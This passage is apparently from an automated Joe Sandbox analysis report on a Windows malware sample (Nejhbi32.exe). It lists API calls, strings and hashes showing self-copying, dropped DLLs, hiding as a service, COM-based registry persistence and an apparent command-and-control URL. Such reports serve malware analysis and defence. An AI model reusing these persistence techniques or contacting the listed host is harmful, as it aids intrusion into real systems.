Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

Similarity

API ID: CloseCreateValue
String ID:
API String ID: 1818849710-0
Opcode ID: 65498cc65565106dc5b66ff6a4b4d842dc0e77ec129b82882a45272a282f6444
Instruction ID: d96ef7c4080a9b633a5bca21bfcbc2c766a155132064e5ed691f16c3214ccdec
Opcode Fuzzy Hash: 65498cc65565106dc5b66ff6a4b4d842dc0e77ec129b82882a45272a282f6444
Instruction Fuzzy Hash: B801F772B10109BBCF11AEB5CC02F9EBEBA9F84340F240476B704F61E0D675D9116718

Function 0040429C Relevance: 6.0, APIs: 4, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 004042D3
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,?,?,00000000,00020019,?), ref: 004042EF
RegCloseKey.ADVAPI32(?,?,?,00000000,00000000,?,?,?,?,00000000,00020019,?), ref: 004042FB

Memory Dump Source

Source File: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 357a631b938b58c4fbb87905ba1aa3de6a3adf1b78dd9d8722630d207e2470c7
Instruction ID: 691f158720e2b36127ee9bd81ba90e70b5a5535aabeb9bf87ba7554e5ddc9d88
Opcode Fuzzy Hash: 357a631b938b58c4fbb87905ba1aa3de6a3adf1b78dd9d8722630d207e2470c7
Instruction Fuzzy Hash: 9801F271B1410ABACF109E25CC02BEEBFA99F94390F140472BE04F61E1D374EE11A3A9

Function 00403743 Relevance: 6.0, APIs: 4, Instructions: 43fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,C0000000,00000000,00000000,?,00000080,00000000), ref: 00403769
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080,00000000), ref: 00403780
WriteFile.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080,00000000), ref: 00403798
CloseHandle.KERNEL32(00000000,00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080), ref: 0040379E

Memory Dump Source

Source File: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandlePointerWrite
String ID:
API String ID: 3604237281-0
Opcode ID: dac2396c127bae0588a020e64ec8d65c8c20fafefb6c849fc3be04b1fb147846
Instruction ID: cf1cf3c615f6ac6775c7614bbea78a1f327309af87cada33f382846b8ae172d8
Opcode Fuzzy Hash: dac2396c127bae0588a020e64ec8d65c8c20fafefb6c849fc3be04b1fb147846
Instruction Fuzzy Hash: 1BF0E972B442143AE62029758C03FDE355D8B41B78F144131FB10FB1D1D5B8BA0142AD

Function 0040185F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

GetWindowTextA.USER32(?,?,?), ref: 004018E2
_sleep.CRTDLL(00000000), ref: 00401985

Strings

Microsoft Internet Explorer, xrefs: 004018E9

Memory Dump Source

Source File: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

Similarity

API ID: TextWindow_sleep
String ID: Microsoft Internet Explorer
API String ID: 2600969163-3125735337
Opcode ID: 2f2919c86dfda4ef7c58b175597176eedc8b81590a8529b1749621bc65d83200
Instruction ID: b939d44f97a8665b9279395720dceab0b5e56fea97a4cdd5017e5321b1dcff8d
Opcode Fuzzy Hash: 2f2919c86dfda4ef7c58b175597176eedc8b81590a8529b1749621bc65d83200
Instruction Fuzzy Hash: 0B511D71A00215EFDB20CFA8D884BAAB7F4BB18315F5041B6E904E72A0D7749995CF59

Function 0040682B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00406753: CreateFileA.KERNEL32(?,80000000,?,00000000,?,00000080,00000000), ref: 0040677F
Part of subcall function 00406753: GetFileSize.KERNEL32(00000000,00000000,?,80000000,?,00000000,?,00000080,00000000), ref: 0040679E
Part of subcall function 00406753: CloseHandle.KERNEL32(00000000,00000000,00000000,?,80000000,?,00000000,?,00000080,00000000), ref: 004067A6

_sleep.CRTDLL(000927C0,00418E30,http://tat-neftbank.ru/kkq.php,ofs_kk), ref: 00406854

Strings

http://tat-neftbank.ru/kkq.php, xrefs: 00406840
ofs_kk, xrefs: 0040683B

Memory Dump Source

Source File: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize_sleep
String ID: http://tat-neftbank.ru/kkq.php$ofs_kk
API String ID: 4235044784-1201080362
Opcode ID: 616e9dee88e1a58cfa8eb2cd68ddd21616f6de5f00dd5623ea3079b7e2cd762d
Instruction ID: fffe33e14b07b0123592d698d33e8a34a507cc30d1f0c5c96ad3af2b43ec03e4
Opcode Fuzzy Hash: 616e9dee88e1a58cfa8eb2cd68ddd21616f6de5f00dd5623ea3079b7e2cd762d
Instruction Fuzzy Hash: ADD05E72B453043B9200757E9D07929F5CE4AA0AA83B9446BBA01F73F1E8F89E1151AB

Analysis Process: Nejhbi32.exePID: 6544, Parent PID: 6496COMMON

Execution Graph

Execution Coverage:	5.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	542
Total number of Limit Nodes:	2

Executed Functions

Function 00406C29 Relevance: 82.5, APIs: 36, Strings: 11, Instructions: 264
windowthreadregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenMutexA.KERNEL32(001F0001,00000000,QueenKarton_12), ref: 00406C50
CloseHandle.KERNEL32(00000000,00000000), ref: 00406C60
exit.CRTDLL(00000001,00000000,00000000), ref: 00406C67
GetVersionExA.KERNEL32(00418D50,00000000), ref: 00406C8A
GetSystemDirectoryA.KERNEL32(00429080,000000FF), ref: 00406C99
GetTickCount.KERNEL32 ref: 00406C9E
srand.CRTDLL(00000000,00418D50,00000000), ref: 00406CA4
GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,00418D50,00000000), ref: 00406CBE
rand.CRTDLL(00418D50,00000000), ref: 00406D03
rand.CRTDLL(00418D50,00000000), ref: 00406D2F
rand.CRTDLL(00418D50,00000000), ref: 00406D70
sprintf.CRTDLL(?,%s\%s.exe,00429080,?,00418D50,00000000), ref: 00406DA8
CopyFileA.KERNEL32(?,?,00000000), ref: 00406DBD
WinExec.KERNEL32(?,00000000), ref: 00406DEC
ExitProcess.KERNEL32(00000001,?,?,?,?,?,?,00418D50,00000000), ref: 00406E02
sprintf.CRTDLL(00418E30,%s\%s,00429080,kkq32.dll,00418D50,00000000), ref: 00406E1B
sprintf.CRTDLL(00428F60,%s\%s,00429080,kkq32.vxd,00418E30,%s\%s,00429080,kkq32.dll,00418D50,00000000), ref: 00406E3A
sprintf.CRTDLL(00408020,%s\%s,00429080,dnkkq.dll,00428F60,%s\%s,00429080,kkq32.vxd,00418E30,%s\%s,00429080,kkq32.dll,00418D50,00000000), ref: 00406E53
LoadCursorA.USER32(00000000,00007F00), ref: 00406E85
LoadIconA.USER32(00000000,00007F03), ref: 00406E9A
GetStockObject.GDI32(00000000), ref: 00406EA8
RegisterClassA.USER32(00000003), ref: 00406EC9
CreateWindowExA.USER32(00000000,QueenKarton,QueenKarton,00CA0000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00408020), ref: 00406EF3
CreateMutexA.KERNEL32(00000000,00000000,QueenKarton_12,%s\%s,00429080,dnkkq.dll,00428F60,%s\%s,00429080,kkq32.vxd,00418E30,%s\%s,00429080,kkq32.dll,00418D50,00000000), ref: 00406F12

Part of subcall function 00402E06: GetVersion.KERNEL32 ref: 00402E22
Part of subcall function 00402E06: GlobalMemoryStatus.KERNEL32(?), ref: 00402F9F
Part of subcall function 00402E06: CloseHandle.KERNEL32(?), ref: 00403065

GetVersion.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00429080,kkq32.dll,00418D50,00000000), ref: 00406F21
GetModuleHandleA.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,?,?,?,00429080,kkq32.dll,00418D50,00000000), ref: 00406F32
GetProcAddress.KERNEL32(00000000,RegisterServiceProcess), ref: 00406F3D
GetCurrentProcessId.KERNEL32(00000000,RegisterServiceProcess,kernel32.dll,?,?,?,?,?,?,?,?,?,?,?,00429080,kkq32.dll), ref: 00406F57
CreateThread.KERNEL32(00000000,00000000,0040682B,00000000,00000000,?), ref: 00406F84
CloseHandle.KERNEL32(00000000,00000000,00000000,0040682B,00000000,00000000,?), ref: 00406F8A
CreateThread.KERNEL32(00000000,00000000,004068B0,00000000,00000000,?), ref: 00406FA3
CloseHandle.KERNEL32(00000000,00000000,00000000,004068B0,00000000,00000000,?,00000000,00000000,00000000,0040682B,00000000,00000000,?), ref: 00406FA9
SetTimer.USER32(00000001,000001F4,00000000,00000000), ref: 00406FBD
TranslateMessage.USER32(?), ref: 00406FC8
DispatchMessageA.USER32(?), ref: 00406FD7
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 00406FE6

Strings

dnkkq.dll, xrefs: 00406E3F
%s\%s.exe, xrefs: 00406D9C
QueenKarton, xrefs: 00406E64, 00406EE7, 00406EEC
kernel32.dll, xrefs: 00406F2D
kkq32.vxd, xrefs: 00406E26
kkq32.dll, xrefs: 00406E07
QueenKarton_12, xrefs: 00406C44, 00406F09
%s\%s, xrefs: 00406E11, 00406E30, 00406E49
3, xrefs: 00406D7C
2, xrefs: 00406D83
RegisterServiceProcess, xrefs: 00406F37

Memory Dump Source

Source File: 00000001.00000002.1981311226.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1981277503.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981406801.000000000042E000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981476066.000000000042F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981508164.0000000000436000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981572847.0000000000438000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Nejhbi32.jbxd

Yara matches

Similarity

API ID: Handle$CloseCreatesprintf$MessageVersionrand$FileLoadModuleMutexProcessThread$AddressClassCopyCountCurrentCursorDirectoryDispatchExecExitGlobalIconMemoryNameObjectOpenProcRegisterStatusStockSystemTickTimerTranslateWindowexitsrand
String ID: %s\%s$%s\%s.exe$2$3$QueenKarton$QueenKarton_12$RegisterServiceProcess$dnkkq.dll$kernel32.dll$kkq32.dll$kkq32.vxd
API String ID: 607501245-2841515530
Opcode ID: 47dc35882da9e6d4dfe293ecc6690f52e81bb2b6ce91e07ac91a2883a2b15265
Instruction ID: b1e00ee85c63859ee3f052cf9651ba5d7fc827d99c5bd6e2bd8f21b679fb6b98
Opcode Fuzzy Hash: 47dc35882da9e6d4dfe293ecc6690f52e81bb2b6ce91e07ac91a2883a2b15265
Instruction Fuzzy Hash: E691C671F883286ADB10A7759C46FDD76A85B44704F5000BBB508FB2C2D6FC6D448BAE

Function 00403619 Relevance: 7.6, APIs: 5, Instructions: 58
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72,10624DD3), ref: 00403642
GetFileSize.KERNEL32(00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72,10624DD3), ref: 00403667
LocalAlloc.KERNEL32(00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72), ref: 00403674
ReadFile.KERNEL32(00000000,10624DD3,00000000,00000000,00000000,00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000), ref: 0040369A
CloseHandle.KERNEL32(00000000,00000000,10624DD3,00000000,00000000,00000000,00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080), ref: 004036A6

Memory Dump Source

Source File: 00000001.00000002.1981311226.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1981277503.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981406801.000000000042E000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981476066.000000000042F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981508164.0000000000436000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981572847.0000000000438000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Nejhbi32.jbxd

Yara matches

Similarity

API ID: File$AllocCloseCreateHandleLocalReadSize
String ID:
API String ID: 2632956699-0
Opcode ID: dd1227ad1f3452ee8fc35f5791aff0d34791abb0994a93554c87423cd4fa6a6f
Instruction ID: fb77f57afc793f1fdbd914af7197191687e2a95eac13cef646675694312e246c
Opcode Fuzzy Hash: dd1227ad1f3452ee8fc35f5791aff0d34791abb0994a93554c87423cd4fa6a6f
Instruction Fuzzy Hash: 14116531A00208BAEB216E65CC06F9DB7A8DB00765F108576FA10BA2D1D67DAF018B5D

Function 00403F68 Relevance: 33.4, APIs: 9, Strings: 10, Instructions: 135
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

rand.CRTDLL(00000001,69D4CE72,10624DD3), ref: 00403FA7
rand.CRTDLL(00000001,69D4CE72,10624DD3), ref: 00403FD4
rand.CRTDLL(00000001,69D4CE72,10624DD3), ref: 00404010
sprintf.CRTDLL(?,%s\%s.dll,00429080,?,00000001,69D4CE72,10624DD3), ref: 00404048
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000,?,%s\%s.dll,00429080,?,00000001,69D4CE72,10624DD3), ref: 00404063
sprintf.CRTDLL(Ogjdllpi,00429080,?,40000000,00000000,00000000,00000002,00000000,00000000,?,%s\%s.dll,00429080,?,00000001,69D4CE72,10624DD3), ref: 00404086
WriteFile.KERNEL32(?,0042AA84,00001A01,?,00000000,Ogjdllpi,00429080,?,40000000,00000000,00000000,00000002,00000000,00000000,?,%s\%s.dll), ref: 004040A4
CloseHandle.KERNEL32(?,?,0042AA84,00001A01,?,00000000,Ogjdllpi,00429080,?,40000000,00000000,00000000,00000002,00000000,00000000,?), ref: 004040BB
sprintf.CRTDLL(?,CLSID\%s\InProcServer32,{79FEACFF-FFCE-815E-A900-316290B5B738},?,?,0042AA84,00001A01,?,00000000,Ogjdllpi,00429080,?,40000000,00000000,00000000,00000002), ref: 004040D3

Strings

CLSID\%s\InProcServer32, xrefs: 004040C7
{79FEACFF-FFCE-815E-A900-316290B5B738}, xrefs: 00403F92, 004040C6, 00404125
3, xrefs: 0040401C
2, xrefs: 00404023
Apartment, xrefs: 0040410A
ThreadingModel, xrefs: 0040410F
Web Event Logger, xrefs: 00404126
%s\%s.dll, xrefs: 0040403C
Ogjdllpi, xrefs: 00404080, 00404085
Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad, xrefs: 0040412B

Memory Dump Source

Source File: 00000001.00000002.1981311226.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1981277503.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981406801.000000000042E000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981476066.000000000042F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981508164.0000000000436000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981572847.0000000000438000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Nejhbi32.jbxd

Yara matches

Similarity

API ID: randsprintf$File$CloseCreateHandleWrite
String ID: %s\%s.dll$2$3$Apartment$CLSID\%s\InProcServer32$Ogjdllpi$Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad$ThreadingModel$Web Event Logger${79FEACFF-FFCE-815E-A900-316290B5B738}
API String ID: 4269242784-1498091450
Opcode ID: 5b9226bc97ce31b3811795df607ed7bbed4fe58e3f2db61338cee063268ccacc
Instruction ID: 8034dccab87c86b1e0d8b3b5755954c703eafec793446a3a0ea57bc4b4fc6a7a
Opcode Fuzzy Hash: 5b9226bc97ce31b3811795df607ed7bbed4fe58e3f2db61338cee063268ccacc
Instruction Fuzzy Hash: E7415771F482286AD7109769EC46BE97AAC8B49304F5400FBB908F72C1D6FC9E458F69

Function 00403CE9 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

rand.CRTDLL(00000001,69D4CE72,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe,00429080,?,00418D50,00000000), ref: 00403CFD
memcpy.CRTDLL(-0042AA50,?,69D4CE72,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe,00429080,?,00418D50,00000000), ref: 00403D7A
memset.CRTDLL(00406DCE,00000000,0000000C,-0042AA50,?,69D4CE72,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe,00429080), ref: 00403D8F
rand.CRTDLL(?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe), ref: 00403DF6
rand.CRTDLL(?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe), ref: 00403DFE
rand.CRTDLL(?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe), ref: 00403E1F
rand.CRTDLL(?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe), ref: 00403E27
memcpy.CRTDLL(-0042AA4C,0042AA44,00000040,?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE), ref: 00403E52

Strings

+Z}), xrefs: 00403CF2

Memory Dump Source

Source File: 00000001.00000002.1981311226.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1981277503.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981406801.000000000042E000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981476066.000000000042F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981508164.0000000000436000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981572847.0000000000438000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Nejhbi32.jbxd

Yara matches

Similarity

API ID: rand$memcpy$memset
String ID: +Z})
API String ID: 1341957784-4018127762
Opcode ID: 2b8c7437e1bd7430af5d83ecd7967c4870ae419bfa933bb167626543e718b489
Instruction ID: df63eb390851271c68cbd719fcc6126871763b87c01c507511359465d0d2d2d2
Opcode Fuzzy Hash: 2b8c7437e1bd7430af5d83ecd7967c4870ae419bfa933bb167626543e718b489
Instruction Fuzzy Hash: A4719E31F042159BCB10CF69DD42A9E7BF5AF88354F584076E901B77A0D23CAA16CBAD

Function 00404148 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExA.ADVAPI32(69D4CE72,00000001,00000000,00000000,00000000,000F003F,00000000,00000000,69D4CE72,00000001,00006A14,{79FEACFF-FFCE-815E-A900-316290B5B738},?,?,?,004040F5), ref: 00404189
RegSetValueExA.ADVAPI32(00000000,?,00000000,00000001,00429080,69D4CE72,69D4CE72,00000001,00000000,00000000,00000000,000F003F,00000000,00000000,69D4CE72,00000001), ref: 004041AB
RegCloseKey.ADVAPI32(00000000,00000000,?,00000000,00000001,00429080,69D4CE72,69D4CE72,00000001,00000000,00000000,00000000,000F003F,00000000,00000000,69D4CE72), ref: 004041B9

Strings

{79FEACFF-FFCE-815E-A900-316290B5B738}, xrefs: 0040414D

Memory Dump Source

Source File: 00000001.00000002.1981311226.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1981277503.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981406801.000000000042E000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981476066.000000000042F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981508164.0000000000436000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981572847.0000000000438000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Nejhbi32.jbxd

Yara matches

Similarity

API ID: CloseCreateValue
String ID: {79FEACFF-FFCE-815E-A900-316290B5B738}
API String ID: 1818849710-4250702572
Opcode ID: 0b9791cc2bb803e0a6fddded9d2feb4d7971cdb144d1b8de1133cc46446009fc
Instruction ID: 412fd7a6ac4860a679fa2010a2fd1b93dd732dea722ee027fa7473d1befc18ea
Opcode Fuzzy Hash: 0b9791cc2bb803e0a6fddded9d2feb4d7971cdb144d1b8de1133cc46446009fc
Instruction Fuzzy Hash: A7018472B00108BBEB114A95CC02FFEBA6AEF44764F250065FA00B71D1C6B1AE519754

Function 0040365E Relevance: 6.0, APIs: 4, Instructions: 30
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileSize.KERNEL32(00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72,10624DD3), ref: 00403667
LocalAlloc.KERNEL32(00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72), ref: 00403674
ReadFile.KERNEL32(00000000,10624DD3,00000000,00000000,00000000,00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000), ref: 0040369A
CloseHandle.KERNEL32(00000000,00000000,10624DD3,00000000,00000000,00000000,00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080), ref: 004036A6

Memory Dump Source

Source File: 00000001.00000002.1981311226.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1981277503.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981406801.000000000042E000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981476066.000000000042F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981508164.0000000000436000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981572847.0000000000438000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Nejhbi32.jbxd

Yara matches

Similarity

API ID: File$AllocCloseHandleLocalReadSize
String ID:
API String ID: 341201350-0
Opcode ID: 2fd491c6994b402e35e8b9e545411a472b55f40d1e3a5e6431fc85953c0e0c00
Instruction ID: f40f052c398d65a7c82f7348c4b70b1bbd35af8546e58ac1d0fc8a8e918c22c0
Opcode Fuzzy Hash: 2fd491c6994b402e35e8b9e545411a472b55f40d1e3a5e6431fc85953c0e0c00
Instruction Fuzzy Hash: 4EF01C76F04504BAEB01ABA58C02BDD77789B04319F108467F604B62C1D27D6B119B6E

Function 00407980 Relevance: 4.5, APIs: 3, Instructions: 47
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineA.KERNEL32(?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407985
strchr.CRTDLL(00000001,00000022,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407997
GetModuleHandleA.KERNEL32(00000000,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 004079D1

Memory Dump Source

Source File: 00000001.00000002.1981311226.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1981277503.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981406801.000000000042E000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981476066.000000000042F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981508164.0000000000436000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981572847.0000000000438000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Nejhbi32.jbxd

Yara matches

Similarity

API ID: CommandHandleLineModulestrchr
String ID:
API String ID: 2139856000-0
Opcode ID: a85f45691ed6f3240fb139f31581347a401a2e524d65f22663fdacfbc6ab9f8e
